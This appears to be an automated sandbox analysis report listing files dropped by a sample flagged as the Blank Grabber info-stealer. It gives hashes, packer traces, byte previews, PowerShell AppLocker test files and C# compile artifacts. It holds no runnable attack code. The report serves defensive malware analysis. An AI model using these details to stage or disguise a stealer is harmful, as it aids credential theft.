SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rarreg.key, Author: Joe Security
Reputation:	unknown
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI73082\select.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.471075877103443
Encrypted:	false
SSDEEP:	384:LZPhXaWPBRc6hmfZa7gJXIj2IJ9G46SHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:XaWlspYj2IJ9G4L5YiSyvy2ES
MD5:	FB70AECE725218D4CBA9BA9BBB779CCC
SHA1:	BB251C1756E5BF228C7B60DAEA1E3B6E3F9F0FF5
SHA-256:	9D440A1B8A6A43CFAA83B9BC5C66A9A341893A285E02D25A36C4781F289C8617
SHA-512:	63E6DB638911966A86F423DA8E539FC4AB7EB7B3FB76C30C16C582CE550F922AD78D1A77FA0605CAFFA524E480969659BF98176F19D5EFFD1FC143B1B13BBAAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	659216
Entropy (8bit):	7.993010988331354
Encrypted:	true
SSDEEP:	12288:ZI2xdk6g1SJU1uQWhSskWXgN/YeZE21RUMza8WznRGO+4:ZbxYw+AXSskaSweZ91uMu80x+4
MD5:	21AEA45D065ECFA10AB8232F15AC78CF
SHA1:	6A754EB690FF3C7648DAE32E323B3B9589A07AF2
SHA-256:	A1A694B201976EA57D4376AE673DAA21DEB91F1BF799303B3A0C58455D5126E7
SHA-512:	D5C9DC37B509A3EAFA1E7E6D78A4C1E12B5925B5340B09BEE06C174D967977264C9EB45F146ABED1B1FC8AA7C48F1E0D70D25786ED46849F5E7CC1C5D07AC536
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).....0......`.....................................................`..............................................#..........................................................................p...@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	267024
Entropy (8bit):	7.9826656358602595
Encrypted:	false
SSDEEP:	6144:5FHvhlPKHwqcv9DqegNsKUuFLttFHg+hMrZ99hYN8khE7xj:5tJlyHwqSBqpNsKUuntFJhMF9HC8jj
MD5:	B2712B0DD79A9DAFE60AA80265AA24C3
SHA1:	347E5AD4629AF4884959258E3893FDE92EB3C97E
SHA-256:	B271BD656E045C1D130F171980ED34032AC7A281B8B5B6AC88E57DCE12E7727A
SHA-512:	4DC7BD1C148A470A3B17FA0B936E3F5F68429D83D552F80051B0B88818AA88EFC3FE41A2342713B7F0F2D701A080FB9D8AC4FF9BE5782A6A0E81BD759F030922
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).........0..P....@...................................0............`..........................................+..X....)....... .......................+..$...................................P...@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gjhi2b4.i44.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0spkeay3.1v0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12lmqb2h.day.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hucegdl.au0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jjnzx3d.l23.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5enuemgo.5vu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5zhzkef5.aj2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cegibygv.dnv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqzv32vr.v0b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eqtnop5n.oub.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_es41h2at.0x1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ex51dusm.xat.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fb3qdlf4.jsv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iw0dyzfo.bek.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxxgklel.xqo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mx5obfuv.fw3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxljg0ix.jxi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o4w54ega.i4r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pvzw3qhf.sp2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swhmdhtr.1pp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vn3w05kb.05b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wft2jj1c.zul.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcueelqq.hmr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ylujjtvo.xgi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.101546430152555
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryxRak7YnqqyWPN5Dlq5J:+RI+ycuZhNLRakSyWPNnqX
MD5:	BA752A5FCA821CBCF5DD3246EDBE5DBC
SHA1:	4255BFBC99E50EC6D4E62A6DBFFA602D803C8357
SHA-256:	25DB2A690D1ED72E06BEF2114C9A637422BFAB881ADA4A267903C8A30D8BE285
SHA-512:	2A3F8D4798E7F76E1CBEC771F5F1EE189E2BAAB87EC1A7A892518E464C75189756C7BB25E7B75865F11FBF42105C6D79C29A1B2E0936E4082F68518161B4A871
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.g.m.u.p.5.d.5...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...t.g.m.u.p.5.d.5...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	unknown
